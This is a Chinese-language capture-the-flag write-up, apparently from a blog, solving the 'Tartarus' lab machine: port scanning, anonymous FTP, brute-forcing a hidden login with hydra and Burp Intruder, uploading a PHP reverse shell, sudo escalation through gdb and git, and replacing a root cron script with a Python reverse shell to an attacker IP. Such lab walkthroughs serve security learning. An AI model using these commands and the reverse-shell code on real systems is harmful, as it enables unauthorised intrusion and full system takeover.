CTF靶机 Tartarus 笔记

Tartarus

这是基于服务的简单枚举和基本特权升级技术的新手靶场。基于杰克


Nmap扫一波全端口,开放了21,22,80端口

nmap -sV 10.10.48.224 -p-

用nmap -A 综合扫描一下,探测到FTP允许匿名登录

Anonymous FTP login allowed

里面有一个test.txt文件

nmap -A 10.10.48.224

FTP里有个test.txt文件
ftp 10.10.48.224   #登录到ftp
输入用户名anonymous
密码直接回车登录
get下载到本地查看是个tfp测试文件 - -!    转战80端口

 

Web是个默认的apache2页面

先访问看下有没有robots.txt文件

有个/amdin-dir目录

访问一下有两个文件,打开类分别似于账号和密码,hydra走一波~

wget 加URL下载下来

hydra爆破了一波ftp和ssh居然没有一个成功的。。。不应该啊

dirbuster加dirb扫Web目录也没有发现能利用的目录

难道我漏了一些细节???

重新检查了一遍,发现FTP里有隐藏的文件,大意了

yougotgoodeyes.txt文件里记录了一个隐藏目录

访问/sUp3r-s3cr3t是个登录页面

用BurpSuite抓爆用Intruder爆破刚刚在Web获取的账号密码

这里爆破的模式选择Cluster bomb模式,设置好变量为username和password的值

 

设置好payload,加载刚刚获取的账号密码

start attack

有结果了

账号:enox    密码P@ssword1234

登录到后台,发现是个上传页面

上传一个phpinfo(),发现没有任何的过滤

但是。。。上传后的路径呢?没有显示!

还是得用dirbuster扫一波目录才行,上传到了/sUp3r-s3cr3t/images/uploads/目录下

访问一下,执行成功,下来上传shell 

 

我上传的Shell是kali自带的,在/usr/share/webshells/php/php-reverse-shell.php

修改一下ip和端口。ip改成攻击机的就行

上传成功后用nc起监听,然后访问我们修改上传的shell,成功反弹回来

 

Linux一般都自带Python,我们用python生成一个交互式的shell

python -c 'import pty; pty.spawn("/bin/bash")'

注意到里面有个属于root的cleanup.py权限 777 文件,等下提权到root会用到

但是生成交互式的shell之后输入的命令就会出现重叠,虽然不好看但也不影响执行

后面我会分享怎么去掉命令重叠的这种情况

获取user.txt的flag

 

获取完flag 就准备提权了。sudo -l

查看到用户thirtytwo 可以执行gdb

https://gtfobins.github.io/这里有sudo,SUID各种提权方法,访问不了的话可能要。。。你懂的

sudo gdb -nx -ex '!sh' -ex quit

这个gdb只有thirtytwo执行。所以我们先要移动到该用户

sudo -u thirtytwo /var/www/gdb -nx -ex '!sh' -ex quit

移动成功后还是生成一个交互式的shell

成功移动到thirtytwo用户,查看一下sudo -l 

是个d4rckh能执行的git SUDO提权,还是访问刚刚gtfobinsc网站查看对应的提权方法

sudo -u d4rckh /usr/bin/git -p help config    进入到编辑页面

然后输入!/bin/sh

成功移动到d4rckh

 查看一下这个cleanup.py文件是个删除文件的脚本

猜想可能是个定时执行的脚本,查看下/etc/crontab,果然。

那我有可以修改的权限,把里面的内容替换成我们的fantanshell代码就可以获得root权限

先说下怎么去输入命令怎么去重叠,这会影响我们后面用nano修改cleanup.py

生成交互式的Shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
生成完后按Ctrl+Z,回到kali输入
$ stty raw -echo
$ fg
输入fg后敲两下回车
回到TTY后输入
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 38 columns 116
搞定!

把下面的脚本替换进cleanup.py 里面

# -*- coding: utf-8 -*-
#!/usr/bin/env python
import socket, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.222.148", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.system("/bin/sh -i")

攻击机再用nc起个监听,稍后片刻就会弹回一个root的shell。
我是打完第二天才写的笔记,可能有些地方没有写进去。
后面的忘记截图了,抱歉!
到此结束
 
总结
    以后进ftp的时候要用ls -la查看文件,不然会忽略掉一些关键的细节。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值